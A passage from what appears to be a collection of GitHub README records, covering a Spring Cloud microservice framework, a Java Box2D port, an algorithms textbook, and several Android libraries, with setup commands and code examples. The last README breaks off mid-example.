mxdldev/spring-cloud-flycloud | 🔥🔥🔥FlyClould 微服务实战项目框架,在该框架中,包括了用 Spring Cloud 构建微服务的一系列基本组件和框架,对于后台服务框架的搭建有很大的参考价值,大家可以参考甚至稍加修改可以直接应用于自己的实际的项目开发中,该项目没有采用Maven进行项目构建,Maven通过xml进行依赖管理,导致整个配置文件太过臃肿,另外灵活性也不是很强,所以我采用Gradle进行项目构建和依赖管理,在FlyTour项目中我们见证了Gradle的强大,通过简单的一些配置就可以轻松的实现组件化的功能。该项目共有11个Module工程。其中10个位微服务工程,这10个微服务工程构成了一个完整的微服务系统,微服务系统包含了8个基础服务,提供了一整套微服务治理功能,他们分别是配置中心module_config、注册中心module_eureka、认证授权中心module_uaa、Turbine聚合监控服务module_monitor、链路追踪服务module_zipken、聚合监控服务module_admin、路由网关服务module_gateway、日志服务module_log。另外还包含了两个资源服务:用户服务module_user和blog服务module_blog,另外还有一个common的Module,为资源服务提供一些一本的工具类 | 2019-02-14T01:00:00Z | null | # FlyCloud
FlyClould 微服务实战项目框架,在该框架中,包括了用 Spring Cloud 构建微服务的一系列基本组件和框架,对于后台服务框架的搭建有很大的参考价值,大家可以参考甚至稍加修改可以直接应用于自己的实际的项目开发中
csdn地址:[https://blog.csdn.net/geduo_83/article/details/87866018](https://blog.csdn.net/geduo_83/article/details/87866018)
欢迎点赞加星,评论打call、加群:810970432
在该框架中包括了用 Spring Cloud 构建微服务的一系列基本组件和框架,对于后台服务框架的搭建有很大的参考价值,大家可以参考甚至稍加修改可以直接应用于自己的实际的项目开发中。
### 更新日志:
### [FlyCloud 3.0.0](https://github.com/mxdldev/spring-cloud-flycloud/releases) 2020-03-23
为了满足广大开发者的便于测试、便于部署需求,对FlyCloud进行了单一结构体改造,并将其部署在了外网上,接口文档如下:[http://106.12.61.238:8080/swagger-ui.html](http://106.12.61.238:8080/swagger-ui.html)
* spring boot + security + oauth2 单一结构体改造
* 将所有的访问接口开放在外网上
### [FlyCloud 2.2.0](https://github.com/mxdldev/spring-cloud-flycloud/releases) 2020-03-09
* springboot 升级为2.0.5
### [FlyCloud 2.1.0](https://github.com/mxdldev/spring-cloud-flycloud/releases) 2019-07-01
* 相关bug修改
* 代码优化
### [FlyCloud 2.0.0](https://github.com/mxdldev/spring-cloud-flycloud/releases) 2019-06-08
* 业务组件module_news添加
### [FlyCloud 1.0.0](https://github.com/mxdldev/spring-cloud-flycloud/releases) 2019-02-28
初始版本:
* 1.配置组件:注册中心、配置中心、授权中心
* 2.监控组件:聚合监控、熔断监控、路由监控
* 3.其他组件:网关服务、日志服务、公共服务
* 4.业务组件:用户组件,博客组件
### 开发环境:
在该框架中,包括了用 Spring Cloud 构建微服务的一系列基本组件和框架,运行所需要软件如下:
* 开发IDE:IDEA
https://www.jetbrains.com/idea/download/#section=windows
* 数据库:mysql5.7
https://dev.mysql.com/downloads/mysql/
* 组件通信rabbitmq
http://www.rabbitmq.com/download.html
* Erlang环境
http://www.erlang.org/downloads Erlang环境
http://www.cnerlang.com/resource/182.html
该项目没有采用Maven进行项目构建,Maven通过xml进行依赖管理,导致整个配置文件太过臃肿,另外灵活性也不是很强,所以我采用Gradle进行项目构建和依赖管理,在FlyTour项目中我们见证了Gradle的强大,通过简单的一些配置就可以轻松的实现组件化的功能。该项目共有11个Moudle工程。其中10个位微服务工程,这10个微服务工程构成了一个完整的微服务系统,微服务系统包含了8个基础服务,提供了一整套微服务治理功能,他们分别是配置中心module_config、注册中心module_eureka、认证授权中心module_uaa、Turbine聚合监控服务module_monitor、链路追踪服务module_zipken、聚合监控服务module_admin、路由网关服务module_gateway、日志服务module_log。另外还包含了两个资源服务:用户服务module_user和blog服务module_blog,另外还有一个common的Moudle,为资源服务提供一些一本的工具类。
### 工程架构图:
<br>![](https://img-blog.csdnimg.cn/2019061017280996.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9tZW54aW5kaWFvbG9uZy5ibG9nLmNzZG4ubmV0,size_16,color_FFFFFF,t_70)
<br>下面对11个Moudle工程分别进行介绍:
* 1.注册中心:module_eureka
在这个系统中,所有的服务都向注册中心module_eureka进行服务注册。能方便的查看每个服务的服务状况、服务是否可用,以及每个服务都有哪些服务实例
工作流程:
<br>![](https://img-blog.csdnimg.cn/20190222130826167.png)
* 2.配置中心:module_config
配置中心所有服务的配置文件由 config-server 管理,特别说明为了简单起见本框架中配置数据都放在本地并没有从git仓库远程获取
架构图:
<br>![](https://img-blog.csdnimg.cn/20190222132525638.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2dlZHVvXzgz,size_16,color_FFFFFF,t_70)
* 3.网关服务:module_gateway
网关服务使用的是 Zuul 组件, Zuul 组件可以实现智能路由、负载均衡的功能 gateway-service 作为 个边界服务,对外统一暴露 API 接口,其他的服务 API 接口只提供给内部服务调用,不提供给外界直接调用,这就很方便实现统鉴权、安全验证的功能
通过路由网关实现负载均衡:
<br>![](https://img-blog.csdnimg.cn/20190222134903810.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2dlZHVvXzgz,size_16,color_FFFFFF,t_70)
* 4.链路追踪服务:module_zipkin
它可以查看每个请求在微服务系统中的链路关系
* 5.聚合监控服务:module_admin
提供了非常强大的服务监控功能,可以查看每个向注册中心注册服务的健康状态, 日志、注册时间等
* 6.Turbine聚合监控服务:module_monitor
它聚合了 module_user和module_blog的Hystrix Dashboard ,可以查看这两个服务熔断器的监控状况
* 7.认证授权服务:module_uaa
Spring Cloud 0Auth2 由这个服务统一授权并返回Token。其他的应用服务例如module_user和module_blog作为资源服务 API 接口资源受保护的,需要验证Token并鉴后才能访问,我采用的0Auth2+JWT安全认证,需要生成私钥用于加密,公钥用于解密
生成私钥命令:
```
keytool -genkeypair -alias fly-jwt -validity 36500 -keyalg RSA -dname "CN=jwt,OU=jwt,O=jwt,L=haidian,S=beijing,C=CH" -keypass fly123 -keystore fly-jwt.jks -storepass fly123
```
生成公钥命令:
```
keytool -list -rfc --keystore fly-jwt.jks | openssl x509 -inform pem -pubkey
```
JWT认证流程:
<br>![](https://img-blog.csdnimg.cn/20190222140807479.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2dlZHVvXzgz,size_16,color_FFFFFF,t_70)
* 8.用户服务:module_user
作为资源服务,对外暴露用户的API接口资源
* 9.blog服务:module_blog
作为资源服务,对外暴露blog的API接口资源
* 10.日志服务:module_log
作为日志服务, module_user和module_blog服务通过RabbitMQ向module_log发送业务操作日志的消息,最后统一保存在数据库,由它统一持久化操作日志
日志服务架构图:
<br>![](https://img-blog.csdnimg.cn/20190222142641298.png)
### 功能演示:
依次启动 module_eureka, module_config,module_zipkin及其他的微服务,等整个微服务系统完全启动之后,在览器上访问 即:http://localhost:8761,即就是Eureka 可以查看服务注册的情况
![](https://img-blog.csdnimg.cn/20190222112508530.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2dlZHVvXzgz,size_16,color_FFFFFF,t_70)
API 接口文档采用 Swagger2 框架生成在线文档, module_user 工程和 module_blog工程集成了Swagger2 ,集成Swagger2 只需要引入依赖,并做相关的配置,然后在具体的 Controller上写注解,就可以实现 Swagger2的在线文档功能在浏览器输入http://localhost:8762/swagger-ui.html 查看user服务的api文档
![](https://img-blog.csdnimg.cn/20190222112530157.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2dlZHVvXzgz,size_16,color_FFFFFF,t_70)
在浏览器输入http://localhost:8763/swagger-ui.html 查看blog服务的api文档
![](https://img-blog.csdnimg.cn/20190222112530157.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2dlZHVvXzgz,size_16,color_FFFFFF,t_70)
![](https://img-blog.csdnimg.cn/201902221125490.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2dlZHVvXzgz,size_16,color_FFFFFF,t_70)
在浏览器上访问 http://localhost :9998 展示了 admin-service 登录界面,admin-service 作为 个综合监控的服务,需要对访问者进行身份认证才能访问它的主页,登录用户名为 dmin 密码为 123456
![](https://img-blog.csdnimg.cn/20190222112614615.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2dlZHVvXzgz,size_16,color_FFFFFF,t_70)
这是登录成功后进入的首页面:
![](https://img-blog.csdnimg.cn/20190222112628215.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2dlZHVvXzgz,size_16,color_FFFFFF,t_70)
点击TURBINE,这是user服务和blog服务的熔断器监控页面
![](https://img-blog.csdnimg.cn/20190222112644214.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2dlZHVvXzgz,size_16,color_FFFFFF,t_70)
在浏览器上访问 http://localhost :9411查看服务之间相互调用的链路追踪
![](https://img-blog.csdnimg.cn/20190222112657972.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2dlZHVvXzgz,size_16,color_FFFFFF,t_70)
好了,截止到现在整个项目就全部介绍完了,本项目可以直接拿来应用,进行项目开发,本框架代码量较大,所以我就不贴源代码了
### 问题反馈
在使用中有任何问题,请在下方留言,或加入Android、Java开发技术交流群
QQ群:810970432
email:geduo_83@163.com
![](https://img-blog.csdnimg.cn/20190126213618911.png)
### 关于作者
```
var mxdl = {
name : "门心叼龙",
blog : "https://menxindiaolong.blog.csdn.net"
}
```
### License
```
Copyright (C) menxindiaolong, FlyCloud Framework Open Source Project
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
```
| 0 |
jbox2d/jbox2d | a 2d Java physics engine, native java port of the C++ physics engines Box2D and LiquidFun | 2014-01-05T07:15:53Z | null | jbox2d
======
**Please see the [project's BountySource page](https://www.bountysource.com/teams/jbox2d) to vote on issues that matter to you.** Commenting/voting on issues helps me prioritize the small amount of time I have to maintain this library :)
JBox2d is a Java port of the C++ physics engines [LiquidFun](http://google.github.io/liquidfun/) and [Box2d](http://box2d.org).
If you're looking for *help*, see the [wiki](https://github.com/jbox2d/jbox2d/wiki) or come visit us at the [Java Box2d subforum](http://box2d.org/forum/viewforum.php?f=9). Please post bugs here on the [issues](https://github.com/dmurph/jbox2d/issues) page.
If you're planning on maintaining/customizing your *own copy* of the code, please join our [group](http://groups.google.com/group/jbox2d-announce) so we can keep you updated.
If you're looking to deploy on the web, see [PlayN](https://code.google.com/p/playn/), which compiles JBox2d through GWT so it runs in the browser. The JBox2d library has GWT support out of the box. Also, [TeaVM](http://teavm.org/) support jbox2d in the browser as well.
If you've downloaded this as an archive, you should find the built java jars in the 'target' directories of each project.
======
jbox2d-library - this is the main physics library. The only dependency is the SLF4J logging library.
jbox2d-serialization - this adds serialization tools. Requires google's protocol buffer library installed to fully build (http://code.google.com/p/protobuf/), but this is optional, as the generated sources are included.
jbox2d-testbed - A simple framework for creating and running physics tests.
jbox2d-testbed-jogl - The testbed with OpenGL rendering.
jbox2d-jni-broadphase - Experiment with moving parts of the engine to C++. Not faster.
| 0 |
krahets/hello-algo | 《Hello 算法》:动画图解、一键运行的数据结构与算法教程。支持 Python, Java, C++, C, C#, JS, Go, Swift, Rust, Ruby, Kotlin, TS, Dart 代码。简体版和繁体版同步更新,English version ongoing | 2022-11-04T11:08:34Z | null | <p align="center">
<a href="https://www.hello-algo.com/">
<img src="https://www.hello-algo.com/index.assets/hello_algo_header.png" width="450"></a>
</p>
<p align="center">
<img style="height: 60px;" src="https://readme-typing-svg.demolab.com?font=Noto+Sans+SC&weight=400&duration=3500&pause=2000&color=21C8B8¢er=true&vCenter=true&random=false&width=200&lines=Hello%2C+%E7%AE%97%E6%B3%95+!" alt="hello-algo-typing-svg" />
</br>
动画图解、一键运行的数据结构与算法教程
</p>
<p align="center">
<a href="https://www.hello-algo.com/">
<img src="https://www.hello-algo.com/index.assets/btn_read_online_dark.svg" width="145"></a>
<a href="https://github.com/krahets/hello-algo/releases">
<img src="https://www.hello-algo.com/index.assets/btn_download_pdf_dark.svg" width="145"></a>
</p>
<p align="center">
<img src="https://www.hello-algo.com/index.assets/animation.gif" width="395">
<img src="https://www.hello-algo.com/index.assets/running_code.gif" width="395">
</p>
<p align="center">
<img src="https://img.shields.io/badge/Python-snow?logo=python&logoColor=3776AB" alt="" />
<img src="https://img.shields.io/badge/Java-snow?logo=coffeescript&logoColor=FC4C02" alt="" />
<img src="https://img.shields.io/badge/C%2B%2B-snow?logo=c%2B%2B&logoColor=00599C" alt="" />
<img src="https://img.shields.io/badge/C-snow?logo=c&logoColor=A8B9CC" alt="" />
<img src="https://img.shields.io/badge/C%23-snow?logo=csharp&logoColor=512BD4" alt="" />
<img src="https://img.shields.io/badge/JavaScript-snow?logo=javascript&logoColor=E9CE30" alt="" />
<img src="https://img.shields.io/badge/Go-snow?logo=go&logoColor=00ADD8" alt="" />
<img src="https://img.shields.io/badge/Swift-snow?logo=swift&logoColor=F05138" alt="" />
<img src="https://img.shields.io/badge/Rust-snow?logo=rust&logoColor=000000" alt="" />
<img src="https://img.shields.io/badge/Ruby-snow?logo=ruby&logoColor=CC342D" alt="" />
<img src="https://img.shields.io/badge/Kotlin-snow?logo=kotlin&logoColor=7F52FF" alt="" />
<img src="https://img.shields.io/badge/TypeScript-snow?logo=typescript&logoColor=3178C6" alt="" />
<img src="https://img.shields.io/badge/Dart-snow?logo=dart&logoColor=0175C2" alt="" />
</p>
<p align="center">
简体中文
|
<a href="https://github.com/krahets/hello-algo/blob/main/zh-hant/README.md">繁體中文</a>
|
<a href="https://github.com/krahets/hello-algo/blob/main/en/README.md">English</a>
</p>
## 关于本书
本项目旨在打造一本开源免费、新手友好的数据结构与算法入门教程。
- 全书采用动画图解,内容清晰易懂、学习曲线平滑,引导初学者探索数据结构与算法的知识地图。
- 源代码可一键运行,帮助读者在练习中提升编程技能,了解算法工作原理和数据结构底层实现。
- 提倡读者互助学习,欢迎大家在评论区提出问题与分享见解,在交流讨论中共同进步。
若本书对您有所帮助,请在页面右上角点个 Star :star: 支持一下,谢谢!
## 推荐语
> “一本通俗易懂的数据结构与算法入门书,引导读者手脑并用地学习,强烈推荐算法初学者阅读。”
>
> **—— 邓俊辉,清华大学计算机系教授**
> “如果我当年学数据结构与算法的时候有《Hello 算法》,学起来应该会简单 10 倍!”
>
> **—— 李沐,亚马逊资深首席科学家**
## 贡献
本开源书仍在持续更新之中,欢迎您参与本项目,一同为读者提供更优质的学习内容。
- [内容修正](https://www.hello-algo.com/chapter_appendix/contribution/):请您协助修正或在评论区指出语法错误、内容缺失、文字歧义、无效链接或代码 bug 等问题。
- [代码转译](https://github.com/krahets/hello-algo/issues/15):期待您贡献各种语言代码,已支持 Python、Java、C++、Go、JavaScript 等 12 门编程语言。
- [中译英](https://github.com/krahets/hello-algo/issues/914):诚邀您加入我们的翻译小组,成员主要来自计算机相关专业、英语专业和英文母语者。
欢迎您提出宝贵意见和建议,如有任何问题请提交 Issues 或微信联系 `krahets-jyd` 。
感谢本开源书的每一位撰稿人,是他们的无私奉献让这本书变得更好,他们是:
<p align="left">
<a href="https://github.com/krahets/hello-algo/graphs/contributors">
<img width="770" src="https://contrib.rocks/image?repo=krahets/hello-algo&max=300&columns=16" />
</a>
</p>
## License
The texts, code, images, photos, and videos in this repository are licensed under [CC BY-NC-SA 4.0](https://creativecommons.org/licenses/by-nc-sa/4.0/).
| 0 |
jiang111/IndexRecyclerView | [DEPRECATED] a Contact list implements by RecyclerView | 2016-02-02T05:51:58Z | null | [![](https://jitpack.io/v/jiang111/IndexRecyclerView.svg)](https://jitpack.io/#jiang111/IndexRecyclerView)
### a Contact list implements by Recyclerview
### usage:
Step 1. Add the JitPack repository to your build file
Add it in your root build.gradle at the end of repositories:
```
allprojects {
repositories {
...
maven { url "https://jitpack.io" }
}
}
```
Step 2. Add the dependency
```
dependencies {
compile 'com.android.support:recyclerview-v7:23+'
compile 'com.github.jiang111:IndexRecyclerView:v1.1'
}
```
step 3. go to [DEMO](https://github.com/jiang111/IndexRecyclerView/blob/master/app/src/main/java/com/jiang/android/indexrecyclerview/adapter/ContactAdapter.java)
### art:
![](https://raw.githubusercontent.com/jiang111/IndexRecyclerView/master/art/art.gif)
<br />
<img src="https://raw.githubusercontent.com/jiang111/IndexRecyclerView/master/art/z.png" width="500" />
<br />
<br />
<br />
there is a recyclerview with head, in head_recyclerview branch <br />
![](https://raw.githubusercontent.com/jiang111/IndexRecyclerView/master/art/head.gif)
### reference:<br />
https://github.com/timehop/sticky-headers-recyclerview <br />
https://github.com/bingoogolapple/BGASwipeItemLayout-Android
### Other
If you found this library helpful or you learned something today and want to thank me, [buying me a cup of ☕️ with paypal](https://www.paypal.me/jyuesong) <br /><br />
![](https://raw.githubusercontent.com/jiang111/RxJavaApp/master/qrcode/wechat_alipay.png)
### License
Copyright 2016 NewTab
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
| 0 |
SimonVT/schematic | Automatically generate ContentProviders | 2014-05-04T16:46:00Z | null | Schematic
=========
Automatically generate a ContentProvider backed by an SQLite database.
Usage
=====
First create a class that contains the columns of a database table.
```java
public interface ListColumns {
@DataType(INTEGER) @PrimaryKey @AutoIncrement String _ID = "_id";
@DataType(TEXT) @NotNull String TITLE = "title";
}
```
Then create a database that uses this column
```java
@Database(version = NotesDatabase.VERSION)
public final class NotesDatabase {
public static final int VERSION = 1;
@Table(ListColumns.class) public static final String LISTS = "lists";
}
```
And finally define a ContentProvider
```java
@ContentProvider(authority = NotesProvider.AUTHORITY, database = NotesDatabase.class)
public final class NotesProvider {
public static final String AUTHORITY = "net.simonvt.schematic.sample.NotesProvider";
@TableEndpoint(table = NotesDatabase.LISTS) public static class Lists {
@ContentUri(
path = "lists",
type = "vnd.android.cursor.dir/list",
defaultSort = ListColumns.TITLE + " ASC")
public static final Uri LISTS = Uri.parse("content://" + AUTHORITY + "/lists");
}
```
Table column annotations
------------------------
```java
@AutoIncrement
@DataType
@DefaultValue
@NotNull
@PrimaryKey
@References
@Unique
```
Defining an Uri
---------------
The ```@ContentUri``` annotation is used when the ```Uri``` does not change.
```java
@ContentUri(
path = "lists",
type = "vnd.android.cursor.dir/list",
defaultSort = ListColumns.TITLE + " ASC")
public static final Uri LISTS = Uri.parse("content://" + AUTHORITY + "/lists");
```
If the ```Uri``` is created based on some value, e.g. an id, ```@InexactContentUri``` is used.
```java
@InexactContentUri(
path = Path.LISTS + "/#",
name = "LIST_ID",
type = "vnd.android.cursor.item/list",
whereColumn = ListColumns._ID,
pathSegment = 1)
public static Uri withId(long id) {
return Uri.parse("content://" + AUTHORITY + "/lists/" + id);
}
```
Including in your project
=========================
```groovy
dependencies {
annotationProcessor 'net.simonvt.schematic:schematic-compiler:{latest-version}'
compile 'net.simonvt.schematic:schematic:{latest-version}'
}
```
License
=======
Copyright 2014 Simon Vig Therkildsen
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
| 0 |
hongyangAndroid/Highlight | 一个用于app指向性功能高亮的库 | 2015-10-08T15:03:40Z | null | # Highlight
[ ![Download](https://api.bintray.com/packages/isanwenyu/maven/Highlight/images/download.svg) ](https://bintray.com/isanwenyu/maven/Highlight/_latestVersion)
一个用于app指向性功能高亮的库。
有任何意见,欢迎提issue。新建dev分支,欢迎pull request。
## 效果图
竖屏:
<img src="gif/high_light_demo.gif" width="320px"/>
横屏:
<img src="gif/highlight3.png" width="320px"/>
## 引入
下载代码,然后:
```xml
dependencies {
compile project(':highlight')
}
```
或者
```
compile 'com.isanwenyu.highlight:highlight:1.8.0'
```
再或者
```
<dependency>
<groupId>com.isanwenyu.highlight</groupId>
<artifactId>highlight</artifactId>
<version>1.8.0</version>
<type>pom</type>
</dependency>
```
## 用法
> 最新用法详情:[https://isanwenyu.github.io/2016/11/23/HighLight-latest-usage/
](https://isanwenyu.github.io/2016/11/23/HighLight-latest-usage/)
### Next Mode 下一步模式
> Enable next mode and invoke show() method then invoke next() method in HighLight to display tip view in order till remove itself
> 调用`enableNext()`开启next模式并显示,然后调用next()方法显示下一个提示布局 直到删除自己
#### 1. 开启next模式并显示
```
/**
* 显示 next模式 我知道了提示高亮布局
* @param view id为R.id.iv_known的控件
* @author isanwenyu@163.com
*/
public void showNextKnownTipView(View view)
{
mHightLight = new HighLight(MainActivity.this)//
.autoRemove(false)//设置背景点击高亮布局自动移除为false 默认为true
// .intercept(false)//设置拦截属性为false 高亮布局不影响后面布局的滑动效果
.intercept(true)//拦截属性默认为true 使下方ClickCallback生效
.enableNext()//开启next模式并通过show方法显示 然后通过调用next()方法切换到下一个提示布局,直到移除自身
// .setClickCallback(new HighLight.OnClickCallback() {
// @Override
// public void onClick() {
// Toast.makeText(MainActivity.this, "clicked and remove HightLight view by yourself", Toast.LENGTH_SHORT).show();
// remove(null);
// }
// })
.anchor(findViewById(R.id.id_container))//如果是Activity上增加引导层,不需要设置anchor
.addHighLight(R.id.btn_rightLight,R.layout.info_known,new OnLeftPosCallback(45),new RectLightShape(0,0,15,0,0))//矩形去除圆角
.addHighLight(R.id.btn_light,R.layout.info_known,new OnRightPosCallback(5),new BaseLightShape(TypedValue.applyDimension(TypedValue.COMPLEX_UNIT_DIP,5,getResources().getDisplayMetrics()), TypedValue.applyDimension(TypedValue.COMPLEX_UNIT_DIP,5,getResources().getDisplayMetrics()),0) {
@Override
protected void resetRectF4Shape(RectF viewPosInfoRectF, float dx, float dy) {
//缩小高亮控件范围
viewPosInfoRectF.inset(dx,dy);
}
@Override
protected void drawShape(Bitmap bitmap, HighLight.ViewPosInfo viewPosInfo) {
//custom your hight light shape 自定义高亮形状
Canvas canvas = new Canvas(bitmap);
Paint paint = new Paint(Paint.ANTI_ALIAS_FLAG);
paint.setDither(true);
paint.setAntiAlias(true);
//blurRadius必须大于0
if(blurRadius>0){
paint.setMaskFilter(new BlurMaskFilter(blurRadius, BlurMaskFilter.Blur.SOLID));
}
RectF rectF = viewPosInfo.rectF;
canvas.drawOval(rectF, paint);
}
})
.addHighLight(R.id.btn_bottomLight,R.layout.info_known,new OnTopPosCallback(),new CircleLightShape())
.addHighLight(view,R.layout.info_known,new OnBottomPosCallback(10),new OvalLightShape(5,5,20))
.setOnRemoveCallback(new HighLightInterface.OnRemoveCallback() {//监听移除回调
@Override
public void onRemove() {
Toast.makeText(MainActivity.this, "The HightLight view has been removed", Toast.LENGTH_SHORT).show();
}
})
.setOnShowCallback(new HighLightInterface.OnShowCallback() {//监听显示回调
@Override
public void onShow(HightLightView hightLightView) {
Toast.makeText(MainActivity.this, "The HightLight view has been shown", Toast.LENGTH_SHORT).show();
}
}).setOnNextCallback(new HighLightInterface.OnNextCallback() {
@Override
public void onNext(HightLightView hightLightView, View targetView, View tipView) {
// targetView 目标按钮 tipView添加的提示布局 可以直接找到'我知道了'按钮添加监听事件等处理
Toast.makeText(MainActivity.this, "The HightLight show next TipView,targetViewID:"+(targetView==null?null:targetView.getId())+",tipViewID:"+(tipView==null?null:tipView.getId()), Toast.LENGTH_SHORT).show();
}
});
mHightLight.show();
}
```
#### 2. 调用next()方法依次显示之前添加到提示布局 最后自动移除
```
/**
* 响应所有R.id.iv_known的控件的点击事件
* <p>
* 移除高亮布局
* </p>
*
* @param view
*/
public void clickKnown(View view)
{
if(mHightLight.isShowing() && mHightLight.isNext())//如果开启next模式
{
mHightLight.next();
}else
{
remove(null);
}
}
```
#### 3. 下一步回调监听
```
/**
* 下一个回调监听 只有Next模式下生效
*/
public static interface OnNextCallback {
/**
* 监听下一步动作
*
* @param hightLightView 高亮布局控件
* @param targetView 高亮目标控件
* @param tipView 高亮提示控件
*/
void onNext(HightLightView hightLightView, View targetView, View tipView);
}
```
#### 4. mAnchor根布局完成回调监听(页面加载完成,自动显示)
> 针对下方问题4的优化方案 在Activity或Fragment onCreated方法中构造HighLight
> 通过mAnchor.getViewTreeObserver().addOnGlobalLayoutListener(this)实现
```
/**
* 当界面布局完成显示next模式提示布局
* 显示方法必须在onLayouted中调用
* 适用于Activity及Fragment中使用
* 可以直接在onCreated方法中调用
* @author isanwenyu@163.com
*/
public void showNextTipViewOnCreated(){
mHightLight = new HighLight(MainActivity.this)//
.anchor(findViewById(R.id.id_container))//如果是Activity上增加引导层,不需要设置anchor
.autoRemove(false)
.enableNext()
.setOnLayoutCallback(new HighLightInterface.OnLayoutCallback() {
@Override
public void onLayouted() {
//mAnchor界面布局完成添加tipview
mHightLight.addHighLight(R.id.btn_rightLight,R.layout.info_gravity_left_down,new OnLeftPosCallback(45),new RectLightShape())
.addHighLight(R.id.btn_light,R.layout.info_gravity_left_down,new OnRightPosCallback(5),new CircleLightShape())
.addHighLight(R.id.btn_bottomLight,R.layout.info_gravity_left_down,new OnTopPosCallback(),new CircleLightShape());
//然后显示高亮布局
mHightLight.show();
}
})
.setClickCallback(new HighLight.OnClickCallback() {
@Override
public void onClick() {
Toast.makeText(MainActivity.this, "clicked and show next tip view by yourself", Toast.LENGTH_SHORT).show();
mHightLight.next();
}
});
}
```
### Nomarl Mode 普通模式
对于上面效果图中的一个需要高亮的View,需要通过下面的代码
```
/**
* 显示我知道了提示高亮布局
* @param view id为R.id.iv_known的控件
* @author isanwenyu@163.com
*/
public void showKnownTipView(View view)
{
mHightLight = new HighLight(MainActivity.this)//
.autoRemove(false)//设置背景点击高亮布局自动移除为false 默认为true
.intercept(false)//设置拦截属性为false 高亮布局不影响后面布局的滑动效果 而且使下方点击回调失效
.setClickCallback(new HighLight.OnClickCallback() {
@Override
public void onClick() {
Toast.makeText(MainActivity.this, "clicked and remove HightLight view by yourself", Toast.LENGTH_SHORT).show();
remove(null);
}
})
.anchor(findViewById(R.id.id_container))//如果是Activity上增加引导层,不需要设置anchor
.addHighLight(R.id.btn_rightLight,R.layout.info_known,new OnLeftPosCallback(45),new RectLightShape())
.addHighLight(R.id.btn_light,R.layout.info_known,new OnRightPosCallback(5),new CircleLightShape(0,0,0))
.addHighLight(R.id.btn_bottomLight,R.layout.info_known,new OnTopPosCallback(),new CircleLightShape())
.addHighLight(view,R.layout.info_known,new OnBottomPosCallback(10),new OvalLightShape(5,5,20));
mHightLight.show();
// //added by isanwenyu@163.com 设置监听器只有最后一个添加到HightLightView的knownView响应了事件
// //优化在布局中声明onClick方法 {@link #clickKnown(view)}响应所有R.id.iv_known的控件的点击事件
// View decorLayout = mHightLight.getHightLightView();
// ImageView knownView = (ImageView) decorLayout.findViewById(R.id.iv_known);
// knownView.setOnClickListener(new View.OnClickListener()
// {
// @Override
// public void onClick(View view) {
// remove(null);
// }
// });
}
```
anchor()指你需要在哪个view上加一层透明的蒙版,如果不设置,默认为android.R.id.content。也就是说,该库支持局部范围内去高亮某些View.
addHighLight包含3个参数:
* 参数1:需要高亮view的id,这个没什么说的
* 参数2:你的tip布局的layoutId,也就是箭头和文字,你自己编写个布局,参考demo即可。
* 参数3:是个接口,接口包含一系列的位置信息,如下
```xml
/**
* @param rightMargin 高亮view在anchor中的右边距
* @param bottomMargin 高亮view在anchor中的下边距
* @param rectF 高亮view的l,t,r,b,w,h都有
* @param marginInfo 设置你的布局的位置,一般设置l,t或者r,b
*/
```
哈,提供了一堆的位置信息,但是你要做的,只是去设置leftMargin和topMargin;或者rightMargin和bottomMargin。
目前看起来,我觉得位置信息够了,当然如果你有想法欢迎提出。
哈,是不是参数比较多,看着烦,如果你图省事,可以提供一个枚举,提供4个或者8个默认的位置,这个事呢,dota1群`@李志云`已经完成~认识的话可以去找他。
* 参数4:高亮形状 抽象类BaseLightShape(dx,dy,blurRadius)
```xml
/**
* @param dx 水平方向偏移
* @param dy 垂直方向偏移
* @param blurRadius 模糊半径 默认15px 0不模糊
*/
```
两个抽象方法:
```
/**
* reset RectF for Shape by dx and dy. 根据dx,dy重置viewPosInfoRectF大小
* @param viewPosInfoRectF
* @param dx
* @param dy
*/
protected abstract void resetRectF4Shape(RectF viewPosInfoRectF, float dx, float dy);
/**
* draw shape into bitmap. 绘制高亮形状到传递过来的图片画布上
* @param bitmap
* @param viewPosInfo
